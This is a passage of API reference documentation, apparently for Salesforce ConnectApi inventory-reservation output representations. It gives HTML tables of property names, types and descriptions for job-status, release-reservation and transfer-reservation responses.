</tr>
<tr>
<td>startTimeUTC</td>
<td>String</td>
<td>The UTC time when the job started. (for example: &quot;2020-07-06T22:53:06.788Z&quot;)</td>
<td>5.1.0</td>
</tr>
<tr>
<td>status</td>
<td>String</td>
<td>The status of the job. (e.g., &quot;PENDING,&quot; &quot;COMPLETED,&quot; etc.).</td>
<td>5.1.0</td>
</tr>
<tr>
<td>uploadId</td>
<td>String</td>
<td>Identifier of the job.</td>
<td>5.1.0</td>
</tr>
<tr>
<td>validationErrors</td>
<td>List&lt;String&gt;</td>
<td>List of any validation errors returned by the job.</td>
<td>5.1.0</td>
</tr>
<tr>
<td>validationStatus</td>
<td>String</td>
<td>The validation status of the job.</td>
<td>5.1.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCI Release Reservation Error Output Representation**

Response to a request to release one inventory reservation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>details</td>
<td><a href="#">ConnectApi.OCI Release Reservation Single Output Representation</a></td>
<td>Details of the released reservation, if successful.</td>
<td>5.1.0</td>
</tr>
<tr>
<td>errorCode</td>
<td>String</td>
<td>Error code, if any.</td>
<td>5.1.0</td>
</tr>
<tr>
<td>message</td>
<td>String</td>
<td>Details of the error, if available.</td>
<td>5.1.0</td>
</tr>
</tbody>
</table>

**ConnectApi.OCI Release Reservation Output Representation**

Response to a request to release one or more inventory reservations.
### ConnectApi.OCIReleaseReservationSingleOutputRepresentation

Details of a single released reservation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionRequestId</td>
<td>String</td>
<td>The UUID that identifies the original release reservation request.</td>
<td>51.0</td>
</tr>
<tr>
<td>externalRefId</td>
<td>String</td>
<td>The external reference ID of the location that released the reservation.</td>
<td>51.0</td>
</tr>
<tr>
<td>locationGroupIdentifier</td>
<td>String</td>
<td>The identifier of the location group that released the reservation.</td>
<td>51.0</td>
</tr>
<tr>
<td>locationIdentifier</td>
<td>String</td>
<td>The identifier of the location that released the reservation.</td>
<td>51.0</td>
</tr>
<tr>
<td>quantity</td>
<td>Double</td>
<td>The released quantity.</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>The SKU of the released product.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.OCITransferReservationErrorOutputRepresentation

Response to a request to fulfill one inventory reservation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>details</td>
<td>ConnectApi.OCITransferReservationSingleOutputRepresentation</td>
<td>Details of the transferred reservation, if successful.</td>
